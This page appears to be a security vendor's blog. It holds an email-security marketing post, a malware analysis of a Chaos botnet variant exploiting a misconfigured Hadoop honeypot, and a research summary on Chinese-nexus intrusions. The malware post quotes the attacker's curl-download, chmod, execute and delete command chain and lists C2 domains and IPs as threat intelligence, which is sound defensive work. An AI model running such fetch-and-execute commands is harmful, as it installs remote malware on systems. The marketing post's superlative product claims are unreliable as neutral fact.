Blog
/
Email
/
May 9, 2023

Breaking Down "ICES": An Umbrella Term With Wide Variety

Integrated Cloud Email Security (ICES) can be an effective email security solution, but Darktrace/Email's self-learning AI should be your solution of choice.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dan Fein
VP, Product
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
09
May 2023

While organizing email security solutions into categories can help security teams understand the types of products available, it can also lead to generalizations that overlook important differences within those categories and can become like comparing apples to oranges.

This is true for the Integrated Cloud Email Security (ICES) category. Among the products that qualify, there are important variations in approach that can mean the difference between stopping a novel phishing attack on the first encounter and catching it as many as 13 days later.

These distinctions highlight that not all ICES products and not all AI tools are made equal, and it’s critical to look deeper than the “ICES” label when examining an email security solution. 

What is an ICES solution?

Gartner devised the term ICES in 2021 to describe an advanced email security that augments the native capabilities of email providers by using API access to analyze email content without requiring changing the MX record. 

In other words, ICES solutions integrate with an organization’s cloud email provider to filter out malicious emails.

ICES has risen in popularity as more and more organizations shift to cloud-based or hybrid email servers, and encounter new, more sophisticated threats. Organizations pair ICES with improved native capabilities of email providers. For example, in the 2023 Market Guide for Email Security, Gartner acknowledged that “Microsoft, in particular, continues to make significant investments in improving protection effectiveness and providing better configuration guidance.” 

Native capabilities can detect traditional indicators of compromise, while ICES products can detect nuanced attacks. They integrate directly with cloud-based email providers, meaning emails do not have to be rerouted for analysis, therefore reducing the time security teams would have to spend configuring and maintaining that connection or risking operational outage. 

ICES protects against sophisticated attacks

Before the rise of ICES, the mainstream email security solutions were Secure Email Gateways (SEGs), which can be characterized as tools that rely on historic data to create rules and signatures. This purely reactive approach cannot contend with the current email threat landscape, which includes attacks that abuse legitimate services, originate from compromised known senders, or are entirely novel. They also struggle to detect multi-stage attacks and insider threats

Instead, ICES products use natural language processing and natural language understanding to identify social engineering like business email compromises, spoofing, supply chain attacks, account takeovers, and more.  However, although ICES products can detect more sophisticated threats than SEGs, not all of them can stop entirely unknown attacks. 

Achieving bespoke security with AI that understands you

Even though several ICES products rely on machine learning to identify and stop malicious emails, not all AI is the same. Typically, other vendors’ AIs are trained on insights pulled from across their respective customer-bases and past attacks. However, this does not account for nuanced distinctions that arise from organizations’ sizes, industries, or even the individual employees working at each company. 

Instead, Darktrace understands you. Self-Learning AI™ focuses on the organization it is installed in, instead of generalizing across a wider pool. Darktrace even learns on a granular level, building profiles of every individual employee by analyzing behaviors like how they typically communicate, where and when they log in, the tone and sentiment of their emails, file and link sharing patterns, and hundreds of other signals. This level of specificity ensures that the email security is tailored to each specific organization. 

The ability to learn employee behavior allows Darktrace to detect what is not normal, therefore revealing sophisticated threats on the first encounter. It can detect all types of attacks, including BEC, account takeover, insider threat, compromised internal accounts, and even human error. 

But it’s the ability to stop novel attacks upon the first encounter that sets it apart. Darktrace/Email™ can detect novel email attacks an average of 13 days earlier than email security tools that are trained on knowledge of historical threats. 

Moreover, Darktrace can take precise action to respond to threats, beyond simply allowing or blocking a suspicious email. The AI makes micro-decisions to neutralize only the malicious components of emails. For example, it might flatten an attached PDF, rewrite a shared link, or file an email as junk. 

Darktrace/Email goes further than other ICES by considering the employee experience. With an employee-AI feedback loop, the AI can fine-tune security based on the employees while also providing inline security awareness training in real-time and with real-life examples. By engaging down to the employee level, Darktrace AI can even leverage personalized insights for productivity gains, sorting out graymail based on how each user prefers to interact with it. 

Putting the “I” in “ICES”

Many ICES vendors emphasize the “integrated” part of the acronym, however Darktrace excels at this. Since Darktrace can be installed anywhere a company has data, it can natively interact across the digital estate, saving the security team time and resources otherwise spent learning various dashboards and languages, correlating data across different areas, and manually monitoring daily activity. Darktrace/Email can also integrate with external tools, including SIEMs and SOARs, to further enhance workflows

Moreover, since combining ICES solutions with native security email capabilities creates a hardened security posture, Darktrace/Email benefits from its strong, established integration with Microsoft

Introducing flexibility to ICES deployments

Finally, the security and integration capabilities of Darktrace/Email deploy easily. In the 2023 Market Guide for Email Security, Gartner predicted that “by 2025, 20% of anti-phishing solutions will be delivered via API integration with the email platform, up from less than 5% today.” Darktrace/Email can be rolled out via API or API + Journaling in Microsoft 365, whichever better fits the organization’s needs.

While all ICES products are API-based, that does not mean they are AI-first, or are using the best AI approach. Even some SEGs can deploy via API. That means that the ability to deploy via API does not guarantee a level of security that can stop the most sophisticated threats. Security teams should look beyond deployment method and select the ICES and AI solutions that provide tailored, effective security. 

Finding nuance as an ICES solution

Email security continues to advance in tandem with the threat landscape and organizations’ digital infrastructures. ICES solutions are supplanting SEGs as the mainstream email security solutions, however that broad category includes a range of tools with varying applications of AI. These differences make it critical to not put all ICES products in the same basket. 

Darktrace/Email is the only ICES solution that uses Self-Learning AI to detect all types of email threats, including novel attacks, within seconds.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dan Fein
VP, Product

Blog

/

/

April 7, 2026

Darktrace Identifies New Chaos Malware Variant Exploiting Misconfigurations in the Cloud

Chaos Malware Variant Exploiting Misconfigurations in the CloudDefault blog imageDefault blog image

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

One example of software targeted within Darktrace’s honeypots is Hadoop, an open-source framework developed by Apache that enables the distributed processing of large data sets across clusters of computers. In Darktrace’s honeypot environment, the Hadoop instance is intentionally misconfigured to allow attackers to achieve remote code execution on the service. In one example from March 2026, this enabled Darktrace to identify and further investigate activity linked to Chaos malware.

What is Chaos Malware?

First discovered by Lumen’s Black Lotus Labs, Chaos is a Go-based malware [1]. It is speculated to be of Chinese origin, based on Chinese language characters found within strings in the sample and the presence of zh-CN locale indicators. Based on code overlap, Chaos is likely an evolution of the Kaiji botnet.

Chaos has historically targeted routers and primarily spreads through SSH brute-forcing and known Common Vulnerabilities and Exposures (CVEs) in router software. It then utilizes infected devices as part of a Distributed Denial-of-Service (DDoS) botnet, as well as cryptomining.

Darktrace’s view of a Chaos Malware Compromise

The attack began when a threat actor sent a request to an endpoint on the Hadoop deployment to create a new application.

The initial infection being delivered to the unsecured endpoint.
Figure 1: The initial infection being delivered to the unsecured endpoint.

This defines a new application with an initial command to run inside the container, specified in the command field of the am-container-spec section. This, in turn, initiates several shell commands:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - downloads a file from the attacker’s server, in this case a Chaos agent malware executable.
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - sets permissions to allow all users to read, write, and execute the malware.
  • ./7c49006c2e417f20c732409ead2d6cc0. - executes the malware
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - deletes the malware file from the disk to reduce traces of activity.

In practice, once this application is created an attacker-defined binary is downloaded from their server, executed on the system, and then removed to prevent forensic recovery. The domain pan.tenire[.]com has been previously observed in another campaign, dubbed “Operation Silk Lure”, which delivered the ValleyRAT Remote Access Trojan (RAT) via malicious job application resumes. Like Chaos, this campaign featured extensive Chinese characters throughout its stages, including within the fake resume themselves. The domain resolves to 107[.]189.10.219, a virtual private server (VPS) hosted in BuyVM’s Luxembourg location, a provider known for offering low-cost VPS services.

Analysis of the updated Chaos malware sample

Chaos has historically targeted routers and other edge devices, making compromises of Linux server environments a relatively new development. The sample observed by Darktrace in this compromise is a 64-bit ELF binary, while the majority of router hardware typically runs on ARM, MIPS, or PowerPC architecture and often 32-bit.

The malware sample used in the attack has undergone notable restructuring compared to earlier versions. The default namespace has been changed from “main_chaos” to just “main”, and several functions have been reworked. Despite these changes, the sample retains its core features, including persistence mechanisms established via systemd and a malicious keep-alive script stored at /boot/system.pub.

The creation of the systemd persistence service.
Figure 2: The creation of the systemd persistence service.

Likewise, the functions to perform DDoS attacks are still present, with methods that target the following protocols:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

However, several features such as the SSH spreader and vulnerability exploitation functions appear to have been removed. In addition, several functions that were previously believed to be inherited from Kaiji have also been changed, suggesting that the threat actors have either rewritten the malware or refactored it extensively.

A new function of the malware is a SOCKS proxy. When the malware receives a StartProxy command from the command-and-control (C2) server, it will begin listening on an attacker-controlled TCP port and operates as a SOCKS5 proxy. This enables the attacker to route their traffic via the compromised server and use it as a proxy. This capability offers several advantages: it enables the threat actor to launch attacks from the victim’s internet connection, making the activity appear to originate from the victim instead of the attacker, and it allows the attacker to pivot into internal networks only accessible from the compromised server.

The command processor for StartProxy. Due to endianness, the string is reversed.
Figure 3: The command processor for StartProxy. Due to endianness, the string is reversed.

In previous cases, other DDoS botnets, such as Aisuru, have been observed pivoting to offer proxying services to other cybercriminals. The creators of Chaos may have taken note of this trend and added similar functionality to expand their monetization options and enhance the capabilities of their own botnet, helping ensure they do not fall behind competing operators.

The sample contains an embedded domain, gmserver.osfc[.]org[.]cn, which it uses to resolve the IP of its C2 server.  At time or writing, the domain resolves to 70[.]39.181.70, an IP owned by NetLabel Global which is geolocated at Hong Kong.

Historically, the domain has also resolved to 154[.]26.209.250, owned by Kurun Cloud, a low-cost VPS provider that offers dedicated server rentals. The malware uses port 65111 for sending and receiving commands, although neither IP appears to be actively accepting connections on this port at the time of writing.

Key takeaways

While Chaos is not a new malware, its continued evolution highlights the dedication of cybercriminals to expand their botnets and enhance the capabilities at their disposal. Previously reported versions of Chaos malware already featured the ability to exploit a wide range of router CVEs, and its recent shift towards targeting Linux cloud-server vulnerabilities will further broaden its reach.

It is therefore important that security teams patch CVEs and ensure strong security configuration for applications deployed in the cloud, particularly as the cloud market continues to grow rapidly while available security tooling struggles to keep pace.

The recent shift in botnets such as Aisuru and Chaos to include proxy services as core features demonstrates that denial-of-service is no longer the only risk these botnets pose to organizations and their security teams. Proxies enable attackers to bypass rate limits and mask their tracks, enabling more complex forms of cybercrime while making it significantly harder for defenders to detect and block malicious campaigns.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Indicators of Compromise (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos Malware hash

182[.]90.229.95 - Attacker IP

pan.tenire[.]com (107[.]189.10.219) - Server hosting malicious binaries

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - Attacker C2 Server

References

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer

Blog

/

Network

/

April 2, 2026

How Chinese-Nexus Cyber Operations Have Evolved – And What It Means For Cyber Risk and Resilience 

Chinese-Nexus Cyber OperationsDefault blog imageDefault blog image

Cybersecurity has traditionally organized risk around incidents, breaches, campaigns, and threat groups. Those elements still matter—but if we fixate on individual incidents, we risk missing the shaping of the entire ecosystem. Nation‑state–aligned operators are increasingly using cyber operations to establish long-term strategic leverage, not just to execute isolated attacks or short‑term objectives.  

Our latest research, Crimson Echo, shifts the lens accordingly. Instead of dissecting campaigns, malware families, or actor labels as discrete events, the threat research team analyzed Chinese‑nexus activity as a continuum of behaviors over time. That broader view reveals how these operators position themselves within environments: quietly, patiently, and persistently—often preparing the ground long before any recognizable “incident” occurs.  

How Chinese-nexus cyber threats have changed over time

Chinese-nexus cyber activity has evolved in four phases over the past two decades. This ranges from early, high-volume operations in the 1990s and early 2000s to more structured, strategically-aligned activity in the 2010s, and now toward highly adaptive, identity-centric intrusions.  

Today’s phase is defined by scale, operational restraint, and persistence. Attackers are establishing access, evaluating its strategic value, and maintaining it over time. This reflects a broader shift: cyber operations are increasingly integrated into long-term economic and geopolitical strategies. Access to digital environments, specifically those tied to critical national infrastructure, supply chains, and advanced technology, has become a form of strategic leverage for the long-term.  

How Darktrace analysts took a behavioral approach to a complex problem

One of the challenges in analyzing nation-state cyber activity is attribution. Traditional approaches often rely on tracking specific threat groups, malware families, or infrastructure. But these change constantly, and in the case of Chinese-nexus operations, they often overlap.

Crimson Echo is the result of a retrospective analysis of three years of anomalous activity observed across the Darktrace fleet between July 2022 and September 2025. Using behavioral detection, threat hunting, open-source intelligence, and a structured attribution framework (the Darktrace Cybersecurity Attribution Framework), the team identified dozens of medium- to high-confidence cases and analyzed them for recurring operational patterns.  

This long-horizon, behavior-centric approach allows Darktrace to identify consistent patterns in how intrusions unfold, reinforcing that behavioral patterns that matter.  

What the data shows

Several clear trends emerged from the analysis:

  • Targeting is concentrated in strategically important sectors. Across the dataset, 88% of intrusions occurred in organizations classified as critical infrastructure, including transportation, critical manufacturing, telecommunications, government, healthcare, and Information Technology (IT) services.  
  • Strategically important Western economies are a primary focus. The US alone accounted for 22.5% of observed cases, and when combined with major European economies including Germany, Italy, Spain and the UK, over half of all intrusions (55%) were concentrated in these regions.  
  • Nearly 63% of intrusions of intrusions began with the exploitation of internet-facing systems, reinforcing the continued risk posed by externally exposed infrastructure.  

Two models of cyber operations

Across the dataset, Chinese-nexus activity followed two operational models.  

The first is best described as “smash and grab.” These are short-horizon intrusions optimized for speed. Attackers move quickly – often exfiltrating data within 48 hours – and prioritize scale over stealth. The median duration of these compromises is around 10 days. It’s clear they are willing to risk detection for short-term gain.  

The second is “low and slow.” These operations were less prevalent in the dataset, but potentially more consequential. Here, attackers prioritize persistence, establishing durable access through identity systems and legitimate administrative tools, so they can maintain access undetected for months or even years. In one notable case, the actor had fully compromised the environment and established persistence, only to resurface in the environment more than 600 days after. The operational pause underscores both the depth of the intrusion and the actor’s long‑term strategic intent. This suggests that cyber access is a strategic asset to preserve and leverage over time, and we observed these attacks most often inin sectors of the high strategic importance.  

It’s important to note that the same operational ecosystem can employ both models concurrently, selecting the appropriate model based on target value, urgency, intended access. The observation of a “smash and grab” model should not be solely interpreted as a failure of tradecraft, but instead an operational choice likely aligned with objectives. Where “low and slow” operations are optimized for patience, smash and grab is optimized for speed; both seemingly are deliberate operational choices, not necessarily indicators of capability.  

Rethinking cyber risk

For many organizations, cyber risk is still framed as a series of discrete events. Something happens, it is detected and contained, and the organization moves on. But persistent access, particularly in deeply interconnected environments that span cloud, identity-based SaaS and agentic systems, and complex supply chain networks, creates a major ongoing exposure risk. Even in the absence of disruption or data theft, that access can provide insight into operations, dependencies, and strategic decision-making. Cyber risk increasingly resembles long-term competitive intelligence.  

This has impact beyond the Security Operations Center. Organizations need to shift how they think about governance, visibility, and resilience, and treat cyber exposure as a structural business risk instead of an incident response challenge.  

What comes next

The goal of this research is to provide a clearer understanding of how these operations work, so defenders can recognize them earlier and respond more effectively. That includes shifting from tracking indicators to understanding behaviors, treating identity providers as critical infrastructure risks, expanding supplier oversight, investing in rapid containment capabilities, and more.  

Learn more about the findings of Darktrace’s latest research, Crimson Echo: Understanding Chinese-nexus Cyber Operations Through Behavioral Analysis, by downloading the full report and summaries for business leaders, CISOs, and SOC analysts here.  

Continue reading
About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
Your data. Our AI.
Elevate your network security with Darktrace AI